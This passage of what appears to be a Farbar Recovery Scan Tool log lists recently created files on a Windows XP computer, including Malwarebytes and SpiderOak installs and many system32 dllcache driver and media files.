      (If an entry is included in the fixlist, the file/folder will be moved.)
      2017-11-06 19:57 - 2017-11-06 19:57 - 000021251 _____ C:\FRST.txt
      2017-11-06 19:57 - 2017-11-06 19:57 - 000000000 ____D C:\FRST
      2017-11-06 19:51 - 2017-11-06 19:51 - 001799680 _____ (Farbar) C:\FRST.exe
      2017-11-05 09:23 - 2017-11-05 09:23 - 000000000 ____D C:\Documents and Settings\doni\Application Data\Inv Softworks
      2017-11-03 22:31 - 2017-11-03 22:31 - 000221112 _____ (Malwarebytes) C:\WINDOWS\system32\Drivers\MBAMSwissArmy.sys
      2017-11-03 22:31 - 2017-11-03 22:31 - 000001715 _____ C:\Documents and Settings\All Users\Desktop\Malwarebytes.lnk
      2017-11-03 22:31 - 2017-11-03 22:31 - 000000000 ____D C:\Documents and Settings\All Users\Start Menu\Programs\Malwarebytes
      2017-11-03 22:31 - 2017-11-03 22:31 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\MB3CoreBackup
      2017-11-03 22:31 - 2017-11-01 08:54 - 000059896 _____ C:\WINDOWS\system32\Drivers\mbae.sys
      2017-11-03 20:17 - 2017-11-03 21:10 - 000000000 ___RD C:\Documents and Settings\doni\My Documents\SpiderOak Hive
      2017-11-03 20:17 - 2017-11-03 20:17 - 000000495 _____ C:\Documents and Settings\doni\Desktop\SpiderOak Hive.lnk
      2017-11-03 20:14 - 2017-11-03 20:14 - 000000000 ____D C:\Documents and Settings\doni\Local Settings\Application Data\SpiderOak
      2017-11-03 20:11 - 2017-11-03 20:11 - 000000000 ____D C:\Program Files\SpiderOakONE
      2017-11-03 20:11 - 2017-11-03 20:11 - 000000000 ____D C:\Documents and Settings\All Users\Start Menu\Programs\SpiderOakONE
      2017-11-03 20:07 - 2017-11-03 22:24 - 000000000 ____D C:\Documents and Settings\All Users\Application Data\SharewareOnSale Notifier
      2017-11-01 19:41 - 2017-11-01 21:52 - 000000000 ____D C:\Documents and Settings\doni\dwhelper
      2017-11-01 14:00 - 2017-11-01 14:00 - 000013824 ___SH C:\Documents and Settings\doni\My Documents\Thumbs.db
      2017-11-01 11:34 - 2017-11-01 12:21 - 000000664 _____ C:\WINDOWS\system32\d3d9caps.dat
      2017-11-01 10:50 - 2017-11-06 07:40 - 000032294 _____ C:\WINDOWS\SchedLgU.Txt
      2017-10-30 21:33 - 2008-04-14 05:42 - 000294912 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\dlimport.exe
      2017-10-30 21:33 - 2008-04-14 05:40 - 000294912 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\msaud32.acm
      2017-10-30 21:33 - 2008-04-14 05:40 - 000086016 ____C (Sipro Lab Telecom Inc.) C:\WINDOWS\system32\dllcache\sl_anet.acm
      2017-10-30 21:33 - 2008-04-14 05:39 - 000290816 ____C (Fraunhofer Institut Integrierte Schaltungen IIS) C:\WINDOWS\system32\dllcache\l3codeca.acm
      2017-10-30 21:33 - 2008-04-13 22:58 - 000184959 ____C C:\WINDOWS\system32\dllcache\compact.wmz
      2017-10-30 21:33 - 2008-04-13 22:58 - 000066725 ____C C:\WINDOWS\system32\dllcache\revert.wmz
      2017-10-30 21:33 - 2007-06-26 11:30 - 000572557 ____C C:\WINDOWS\system32\dllcache\rtuner.wmv
      2017-10-30 21:33 - 2007-06-26 11:30 - 000457607 ____C C:\WINDOWS\system32\dllcache\mdlib.wmv
      2017-10-30 21:33 - 2007-06-26 11:30 - 000381425 ____C C:\WINDOWS\system32\dllcache\copycd.wmv
      2017-10-30 21:33 - 2007-06-26 11:30 - 000375519 ____C C:\WINDOWS\system32\dllcache\nuskin.wmv
      2017-10-30 21:33 - 2007-06-26 11:30 - 000354468 ____C C:\WINDOWS\system32\dllcache\wmpaud1.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000343204 ____C C:\WINDOWS\system32\dllcache\wmpaud7.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000343204 ____C C:\WINDOWS\system32\dllcache\wmpaud6.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000300969 ____C C:\WINDOWS\system32\dllcache\viz.wmv
      2017-10-30 21:33 - 2007-06-26 11:30 - 000172196 ____C C:\WINDOWS\system32\dllcache\wmpaud9.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000172196 ____C C:\WINDOWS\system32\dllcache\wmpaud8.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000172196 ____C C:\WINDOWS\system32\dllcache\wmpaud3.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000086196 ____C C:\WINDOWS\system32\dllcache\wmpaud5.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000086180 ____C C:\WINDOWS\system32\dllcache\wmpaud4.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000086180 ____C C:\WINDOWS\system32\dllcache\wmpaud2.wav
      2017-10-30 21:33 - 2007-06-26 11:30 - 000022060 ____C C:\WINDOWS\system32\dllcache\npds.zip
      2017-10-30 21:33 - 2007-06-26 11:30 - 000010457 ____C C:\WINDOWS\system32\dllcache\wmptour.hta
      2017-10-30 21:33 - 2007-06-26 11:30 - 000009585 ____C C:\WINDOWS\system32\dllcache\controls.css
      2017-10-30 21:33 - 2007-06-26 11:30 - 000008298 ____C C:\WINDOWS\system32\dllcache\contents.htm
      2017-10-30 21:33 - 2007-06-26 11:30 - 000006878 ____C C:\WINDOWS\system32\dllcache\controls.js
      2017-10-30 21:33 - 2007-06-26 11:30 - 000005971 ____C C:\WINDOWS\system32\dllcache\events.js
      2017-10-30 21:33 - 2007-06-26 11:30 - 000003187 ____C C:\WINDOWS\system32\dllcache\tour.js
      2017-10-30 21:33 - 2007-06-26 11:30 - 000001771 ____C C:\WINDOWS\system32\dllcache\wmptour.css
      2017-10-30 21:33 - 2007-06-26 11:30 - 000001148 ____C C:\WINDOWS\system32\dllcache\snd.htm
      2017-10-30 21:33 - 2007-06-26 11:30 - 000000420 ____C C:\WINDOWS\system32\dllcache\wmploc.js
      2017-10-30 21:33 - 2007-06-26 11:29 - 000097117 ____C C:\WINDOWS\system32\dllcache\mplayer2.hlp
      2017-10-30 21:33 - 2007-06-26 11:29 - 000001885 ____C C:\WINDOWS\system32\dllcache\mplayer2.cnt
      2017-10-30 21:33 - 2007-06-26 11:28 - 000613334 ____C C:\WINDOWS\system32\dllcache\wmplayer.chm
      2017-10-30 21:33 - 2007-06-26 11:28 - 000067374 ____C C:\WINDOWS\system32\dllcache\wmplayer.adm
      2017-10-30 21:33 - 2007-06-26 11:26 - 000077307 ____C C:\WINDOWS\system32\dllcache\plyr_err.chm
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001477 ____C C:\WINDOWS\system32\dllcache\plylst6.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001477 ____C C:\WINDOWS\system32\dllcache\plylst5.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001474 ____C C:\WINDOWS\system32\dllcache\plylst3.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001451 ____C C:\WINDOWS\system32\dllcache\plylst12.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001448 ____C C:\WINDOWS\system32\dllcache\plylst4.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001250 ____C C:\WINDOWS\system32\dllcache\plylst1.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001049 ____C C:\WINDOWS\system32\dllcache\plylst2.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001046 ____C C:\WINDOWS\system32\dllcache\plylst7.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000001036 ____C C:\WINDOWS\system32\dllcache\plylst8.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000000789 ____C C:\WINDOWS\system32\dllcache\plylst11.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000000787 ____C C:\WINDOWS\system32\dllcache\plylst10.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000000784 ____C C:\WINDOWS\system32\dllcache\plylst9.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000000783 ____C C:\WINDOWS\system32\dllcache\plylst13.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000000775 ____C C:\WINDOWS\system32\dllcache\plylst14.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000000733 ____C C:\WINDOWS\system32\dllcache\plylst15.wpl
      2017-10-30 21:33 - 2007-06-26 11:26 - 000000403 ____C C:\WINDOWS\system32\dllcache\npdrmv2.zip
      2017-10-30 21:33 - 2007-04-02 23:21 - 000023195 ____C C:\WINDOWS\system32\dllcache\wmplay.chm
      2017-10-29 22:53 - 2017-10-29 22:53 - 000000000 ___HD C:\Program Files\WindowsUpdate
      2017-10-29 11:15 - 2008-08-21 14:00 - 000041600 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\weitekp9.dll
      2017-10-29 11:15 - 2008-08-21 14:00 - 000031232 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\weitekp9.sys
      2017-10-29 11:15 - 2008-08-21 14:00 - 000028288 ____C C:\WINDOWS\system32\dllcache\xjis.nls
      2017-10-29 11:15 - 2008-08-21 14:00 - 000009216 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\wamps51.dll
      2017-10-29 11:15 - 2008-04-14 05:42 - 000116224 ____C (Xerox) C:\WINDOWS\system32\dllcache\xrxwiadr.dll
      2017-10-29 11:15 - 2008-04-14 05:42 - 000018944 ____C () C:\WINDOWS\system32\dllcache\xrxscnui.dll
      2017-10-29 11:15 - 2008-04-14 05:42 - 000008192 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\wshirda.dll
      2017-10-29 11:15 - 2008-04-14 00:15 - 000031744 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\wceusbsh.sys
      2017-10-29 11:15 - 2008-04-13 22:05 - 000154624 ____C (Lucent Technologies) C:\WINDOWS\system32\dllcache\wlluc48.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000033599 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\watv04nt.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000029311 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\watv01nt.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000023615 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\wch7xxnt.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000019551 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\watv02nt.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000019455 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\wvchntxx.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000012415 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\wadv01nt.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000012127 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\wadv02nt.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000012063 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\wsiintxx.sys
      2017-10-29 11:15 - 2008-04-13 22:04 - 000011775 ____C (Intel(R) Corporation) C:\WINDOWS\system32\dllcache\wadv05nt.sys
      2017-10-29 11:15 - 2001-08-17 22:37 - 000099865 ____C (Eicon Technology) C:\WINDOWS\system32\dllcache\xlog.exe
      2017-10-29 11:15 - 2001-08-17 22:37 - 000027648 ____C () C:\WINDOWS\system32\dllcache\xrxftplt.exe
      2017-10-29 11:15 - 2001-08-17 22:37 - 000004608 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\xrxflnch.exe
      2017-10-29 11:15 - 2001-08-17 22:36 - 000087040 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\wiafbdrv.dll
      2017-10-29 11:15 - 2001-08-17 22:36 - 000053760 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\wiamsmud.dll
      2017-10-29 11:15 - 2001-08-17 22:36 - 000023040 ____C (Xerox Corporation) C:\WINDOWS\system32\dllcache\xrxwbtmp.dll
      2017-10-29 11:15 - 2001-08-17 13:28 - 000771581 ____C (Rockwell) C:\WINDOWS\system32\dllcache\winacisa.sys
      2017-10-29 11:15 - 2001-08-17 13:28 - 000701386 ____C (3Com Corporation) C:\WINDOWS\system32\dllcache\wdhaalba.sys
      2017-10-29 11:15 - 2001-08-17 12:12 - 000034890 ____C (Raytheon Corp.) C:\WINDOWS\system32\dllcache\wlandrv2.sys
      2017-10-29 11:15 - 2001-08-17 12:11 - 000016970 ____C (US Robotics MCD (Megahertz)) C:\WINDOWS\system32\dllcache\xem336n5.sys
      2017-10-29 11:15 - 2001-08-17 12:10 - 000035871 ____C (Winbond Electronics Corp.) C:\WINDOWS\system32\dllcache\wbfirdma.sys
      2017-10-29 11:14 - 2008-08-21 14:00 - 000185344 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\thawbrkr.dll
      2017-10-29 11:14 - 2008-08-21 14:00 - 000143422 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\softkey.dll
      2017-10-29 11:14 - 2008-08-21 14:00 - 000101376 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\srusbusd.dll
      2017-10-29 11:14 - 2008-08-21 14:00 - 000073728 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\w3ext.dll
      2017-10-29 11:14 - 2008-08-21 14:00 - 000048256 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\w32.dll
      2017-10-29 11:14 - 2008-08-21 14:00 - 000021896 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\tdipx.sys
      2017-10-29 11:14 - 2008-08-21 14:00 - 000019464 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\tdspx.sys
      2017-10-29 11:14 - 2008-08-21 14:00 - 000016896 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\status.dll
      2017-10-29 11:14 - 2008-08-21 14:00 - 000014336 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\tsprof.exe
      2017-10-29 11:14 - 2008-08-21 14:00 - 000013192 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\tdasync.sys
      2017-10-29 11:14 - 2008-08-21 14:00 - 000010240 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\snmpstup.dll
      2017-10-29 11:14 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\w3svapi.dll
      2017-10-29 11:14 - 2008-08-21 14:00 - 000004608 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\w3ctrs51.dll
      2017-10-29 11:14 - 2008-04-14 05:42 - 000082944 ____C (IBM Corporation) C:\WINDOWS\system32\dllcache\tp4mon.exe
      2017-10-29 11:14 - 2008-04-14 00:15 - 000026112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbser.sys
      2017-10-29 11:14 - 2008-04-14 00:15 - 000020608 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\usbuhci.sys
      2017-10-29 11:14 - 2008-04-14 00:10 - 000149376 ____C (M-Systems) C:\WINDOWS\system32\dllcache\tffsport.sys
      2017-10-29 11:14 - 2008-04-14 00:10 - 000007552 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sonyait.sys
      2017-10-29 11:14 - 2008-04-14 00:10 - 000005376 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\viaide.sys
      2017-10-29 11:14 - 2008-04-13 22:05 - 000032384 ____C (KLSI USA, Inc.) C:\WINDOWS\system32\dllcache\usb101et.sys
      2017-10-29 11:14 - 2001-08-17 22:36 - 000525568 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\tridxp.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000216064 ____C (UMAX Data Systems Inc.) C:\WINDOWS\system32\dllcache\um34scan.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000211968 ____C (UMAX Data Systems Inc.) C:\WINDOWS\system32\dllcache\um54scan.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000155648 ____C (Stallion Technologies) C:\WINDOWS\system32\dllcache\stlnprop.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000114688 ____C (Sony Corporation) C:\WINDOWS\system32\dllcache\sonypi.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000106584 ____C (Perle Systems Ltd.) C:\WINDOWS\system32\dllcache\spdports.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000099328 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\srusd.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000094720 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\umaxud32.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000094293 ____C (Perle Systems Ltd. ) C:\WINDOWS\system32\dllcache\sxports.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000069632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\umaxu12.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000053760 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sw_wheel.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000053248 ____C (Stallion Technologies) C:\WINDOWS\system32\dllcache\stlncoin.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000050688 ____C (UMAX DATA SYSTEMS INC.) C:\WINDOWS\system32\dllcache\umaxscan.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000050176 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\umaxp60.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000047616 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\umaxcam.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000041472 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sw_effct.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000031744 ____C (IBM Corporation) C:\WINDOWS\system32\dllcache\tp4.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000028160 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\umaxu40.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000026624 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\umaxu22.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000024660 ____C (Perle Systems Ltd.) C:\WINDOWS\system32\dllcache\spxupchk.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000012288 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_smtpctrs.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000010240 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\swpidflt.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000010240 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\swpdflt2.dll
      2017-10-29 11:14 - 2001-08-17 22:36 - 000007168 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\EXCH_snprfdll.dll
      2017-10-29 11:14 - 2001-08-17 22:35 - 000042496 ____C (IBM Corporation) C:\WINDOWS\system32\dllcache\tp4res.dll
      2017-10-29 11:14 - 2001-08-17 14:56 - 000440576 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\tridkb.dll
      2017-10-29 11:14 - 2001-08-17 14:56 - 000315520 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\trid3d.dll
      2017-10-29 11:14 - 2001-08-17 14:56 - 000172768 ____C (Number Nine Visual Technology) C:\WINDOWS\system32\dllcache\t2r4disp.dll
      2017-10-29 11:14 - 2001-08-17 14:56 - 000081408 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\tgiul50.dll
      2017-10-29 11:14 - 2001-08-17 14:07 - 000032640 ____C (LSI Logic) C:\WINDOWS\system32\dllcache\symc8xx.sys
      2017-10-29 11:14 - 2001-08-17 14:07 - 000030688 ____C (LSI Logic) C:\WINDOWS\system32\dllcache\sym_u3.sys
      2017-10-29 11:14 - 2001-08-17 14:07 - 000028384 ____C (LSI Logic) C:\WINDOWS\system32\dllcache\sym_hi.sys
      2017-10-29 11:14 - 2001-08-17 14:07 - 000019072 ____C (Adaptec, Inc.) C:\WINDOWS\system32\dllcache\sparrow.sys
      2017-10-29 11:14 - 2001-08-17 14:07 - 000016256 ____C (Symbios Logic Inc.) C:\WINDOWS\system32\dllcache\symc810.sys
      2017-10-29 11:14 - 2001-08-17 14:02 - 000230912 ____C (Toshiba Corporation) C:\WINDOWS\system32\dllcache\tosdvd03.sys
      2017-10-29 11:14 - 2001-08-17 14:02 - 000003968 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\swusbflt.sys
      2017-10-29 11:14 - 2001-08-17 14:01 - 000241664 ____C (Toshiba Corporation) C:\WINDOWS\system32\dllcache\tosdvd02.sys
      2017-10-29 11:14 - 2001-08-17 13:58 - 000022912 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\umaxpcls.sys
      2017-10-29 11:14 - 2001-08-17 13:56 - 000007552 ____C (Sony Corporation) C:\WINDOWS\system32\dllcache\sonypvu1.sys
      2017-10-29 11:14 - 2001-08-17 13:53 - 000009600 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sonymc.sys
      2017-10-29 11:14 - 2001-08-17 13:53 - 000007040 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\snyaitmc.sys
      2017-10-29 11:14 - 2001-08-17 13:52 - 000036736 ____C (Promise Technology, Inc.) C:\WINDOWS\system32\dllcache\ultra.sys
      2017-10-29 11:14 - 2001-08-17 13:52 - 000007040 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\tandqic.sys
      2017-10-29 11:14 - 2001-08-17 13:51 - 000061824 ____C (Perle Systems Ltd.) C:\WINDOWS\system32\dllcache\speed.sys
      2017-10-29 11:14 - 2001-08-17 13:51 - 000016896 ____C (SCM Microsystems, Inc.) C:\WINDOWS\system32\dllcache\stcusb.sys
      2017-10-29 11:14 - 2001-08-17 13:51 - 000004992 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\toside.sys
      2017-10-29 11:14 - 2001-08-17 13:50 - 000103936 ____C (Perle Systems Ltd. ) C:\WINDOWS\system32\dllcache\sx.sys
      2017-10-29 11:14 - 2001-08-17 13:49 - 000030464 ____C (Toshiba Corporation) C:\WINDOWS\system32\dllcache\tbatm155.sys
      2017-10-29 11:14 - 2001-08-17 13:49 - 000024576 ____C (VIA Technologies, Inc.) C:\WINDOWS\system32\dllcache\viairda.sys
      2017-10-29 11:14 - 2001-08-17 13:48 - 000011520 ____C (IBM Corporation) C:\WINDOWS\system32\dllcache\twotrack.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000794654 ____C (U.S. Robotics, Inc.) C:\WINDOWS\system32\dllcache\usr1801.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000794399 ____C (U.S. Robotics, Inc.) C:\WINDOWS\system32\dllcache\usr1806v.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000793598 ____C (U.S. Robotics, Inc.) C:\WINDOWS\system32\dllcache\usr1806.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000765884 ____C (U.S. Robotics, Inc.) C:\WINDOWS\system32\dllcache\usrti.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000687999 ____C (U.S. Robotics Corporation) C:\WINDOWS\system32\dllcache\usrwdxjs.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000604253 ____C (PCTEL, INC.) C:\WINDOWS\system32\dllcache\vmodem.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000397502 ____C (PCtel, Inc.) C:\WINDOWS\system32\dllcache\vpctcom.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000224802 ____C (U.S. Robotics Corporation) C:\WINDOWS\system32\dllcache\usr1807a.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000113762 ____C (U.S. Robotics Corporation) C:\WINDOWS\system32\dllcache\usrpda.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000064605 ____C (PCtel, Inc.) C:\WINDOWS\system32\dllcache\vvoice.sys
      2017-10-29 11:14 - 2001-08-17 13:28 - 000007556 ____C (U.S. Robotics Corporation) C:\WINDOWS\system32\dllcache\usroslba.sys
      2017-10-29 11:14 - 2001-08-17 12:51 - 000222336 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\trid3dm.sys
      2017-10-29 11:14 - 2001-08-17 12:51 - 000166784 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\tridxpm.sys
      2017-10-29 11:14 - 2001-08-17 12:51 - 000159232 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\tridkbm.sys
      2017-10-29 11:14 - 2001-08-17 12:51 - 000138528 ____C (Trident Microsystems Inc.) C:\WINDOWS\system32\dllcache\tgiulnt5.sys
      2017-10-29 11:14 - 2001-08-17 12:51 - 000037040 ____C (Sony Corporation) C:\WINDOWS\system32\dllcache\sonypi.sys
      2017-10-29 11:14 - 2001-08-17 12:51 - 000020752 ____C (Sony Corporation) C:\WINDOWS\system32\dllcache\sonync.sys
      2017-10-29 11:14 - 2001-08-17 12:50 - 000036640 ____C (Number Nine Visual Technology Corp.) C:\WINDOWS\system32\dllcache\t2r4mini.sys
      2017-10-29 11:14 - 2001-08-17 12:18 - 000285760 ____C (Stallion Technologies) C:\WINDOWS\system32\dllcache\stlnata.sys
      2017-10-29 11:14 - 2001-08-17 12:14 - 000249402 ____C (Xircom) C:\WINDOWS\system32\dllcache\vinwm.sys
      2017-10-29 11:14 - 2001-08-17 12:14 - 000123995 ____C (Tiger Jet Network) C:\WINDOWS\system32\dllcache\tjisdn.sys
      2017-10-29 11:14 - 2001-08-17 12:13 - 000037961 ____C (TDK Corporation) C:\WINDOWS\system32\dllcache\tdk100b.sys
      2017-10-29 11:14 - 2001-08-17 12:13 - 000019528 ____C (Winbond Electronics Corporation) C:\WINDOWS\system32\dllcache\w840nd.sys
      2017-10-29 11:14 - 2001-08-17 12:13 - 000019016 ____C (Winbond Electronics Corporation) C:\WINDOWS\system32\dllcache\w926nd.sys
      2017-10-29 11:14 - 2001-08-17 12:13 - 000017129 ____C (TDK Corporation) C:\WINDOWS\system32\dllcache\tdkcd31.sys
      2017-10-29 11:14 - 2001-08-17 12:13 - 000016925 ____C (Winbond Electronics Corporation) C:\WINDOWS\system32\dllcache\w940nd.sys
      2017-10-29 11:14 - 2001-08-17 12:12 - 000034375 ____C (Intel Corporation) C:\WINDOWS\system32\dllcache\tpro4.sys
      2017-10-29 11:14 - 2001-08-17 12:11 - 000048736 ____C (3Com) C:\WINDOWS\system32\dllcache\srwlnd5.sys
      2017-10-29 11:14 - 2001-08-17 12:10 - 000028232 ____C (TOSHIBA Corporation) C:\WINDOWS\system32\dllcache\tos4mo.sys
      2017-10-29 11:13 - 2008-08-21 14:00 - 000038912 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm9aw.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000031744 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smb6w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000031744 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sma3w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000030208 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm87w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000030208 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm81w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000029184 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm8cw.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000026624 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm93w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000026624 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm92w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000026112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm90w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000026112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm8dw.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000026112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm8aw.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000026112 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm89w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000025088 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\sm59w.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000018944 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\simptcp.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000015872 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smierrsm.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smimsgif.dll
      2017-10-29 11:13 - 2008-08-21 14:00 - 000005632 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smierrsy.dll
      2017-10-29 11:13 - 2008-04-14 00:06 - 000016000 ____C (Microsoft Corporation) C:\WINDOWS\system32\dllcache\smbbatt.sys
